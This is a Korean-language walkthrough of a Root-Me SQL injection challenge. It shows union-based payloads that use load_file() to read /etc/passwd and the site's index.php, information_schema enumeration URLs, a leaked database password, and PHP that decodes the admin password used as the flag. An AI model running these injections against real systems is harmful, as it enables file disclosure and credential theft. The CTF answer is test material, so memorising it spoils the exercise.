로그인 페이지가 있고
아이디, 이메일, 유저이름을 출력해주는 페이지가 있다.
rootme에서 제공해주는 문서를 읽어보고 이 문제에 사용되는 공격에 대해 알아보자.
SQL의 built-in 함수 중, load_file()
이 있다.
인자로 파일의 절대경로 값을 넘겨주면 해당 파일의 내용을 출력해준다.
다음과 같은 형태로 사용한다.
MariaDB [myDb]> select load_file('/etc/passwd');
+-----------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
...
-----------------------------------------------------------+
1 row in set (0.000 sec)
권한이 허용되어있고 절대경로를 안다면 원하는 파일을 read 할 수 있다.
※다른 종류의 DB에서는 다른 함수를 이용해 비슷한 유형의 취약점이 발생할 수 있다. 자세한 쿼리는 위의 문서를 확인하자※
앞서 설명한대로 해당 공격은 데이터베이스에 따라 사용함수가 달라진다.
version()
을 이용해 데이터베이스 정보를 얻을 수 있다.
0 union select 1,1,1,version()
그렇다면 load_file
로 얻을 수 있는 것은 무엇일까?
rootme의 이전 문제들을 통해서 별다른 힌트가 없을 경우 index.php
에서 답을 찾을 수 있었다.
idx
파라미터에 인젝션을 시도해서, index.php
의 내용을 가져오자.
0 union select 1,1,1,load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870)
다음과 같은 과정에 의해 위의 쿼리를 인젝션할 수 있었다.
index.php
의 경로는 /challenge/web-serveur/ch31/index.php
이며, 이 경로를 사용한 이유는 Rootme의 시스템 해킹 문제를 풀면서, 챌린지 문제들의 절대경로는 /challenge/
에 위치한다는 것을 알고 있기 때문이다.그 결과, index.php
의 소스코드를 확인할 수 있었다.
필요한 내용을 확인해보자
<?php
define('SQL_HOST', ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB', 'c_webserveur_31');
define('SQL_LOGIN', 'c_webserveur_31');
define('SQL_P', 'dOJLsrbyas3ZdrNqnhx');
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");
if ( ! isset($_GET['action']) ) $_GET['action']="login";
if($_GET['action'] == "login"){
print '<form METHOD="POST">
<p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
<p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
<p><input value=submit type=submit /></p>
</form>';
if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
{
$user = mysql_real_escape_string(strtolower($_POST['username']));
$pass = sha1($_POST['password']);
$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
if(mysql_num_rows($result) == 1)
{
$data = mysql_fetch_array($result);
if($pass == stringxor($key, base64_decode($data['member_password']))){
// authentication success
print "<p>Authentication success !!</p>";
if ($user == "admin")
print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
따로 플래그값이 존재하진 않았다.
문제를 풀기위해선 admin
의 패스워드를 알아야 했다.
DB에 저장된 패스워드는 SQL 인젝션을 통해 획득할 수 있지만, 이 값은 정답이 아니다.
소스에 나와있는 것처럼 이 값은
admin
의 패스워스를 sha1 해쉬하고결과값이다.
필요한 정보를 확인하자.
http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=0%20union%20select%201,table_name,1,1%20from%20information_schema.tables%20where%20table_schema=database()
테이블 이름은 member
이며
http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=0%20union%20select%201,column_name,1,1%20from%20information_schema.columns%20where%20table_name=0x6d656d626572%20limit%202,1
패스워드 컬럼 이름은 member_password
이다.
0 union select 1,1,1,member_password from member
패스워드의 값은 아래의 값이다.
VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==
간단히 index.php
의 소스의 일부분을 가져와서 php를 이용하여 복호화를 할 수 있었다.
※복호화된 값이 플래그 값이다.※
function stringxor($o1, $o2) {
$res = '';
for($i=0;$i<strlen($o1);$i++)
$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
return $res;
}
$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
$enc_pw = "VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA=="
stringxor($key, base64_decode($enc_pw))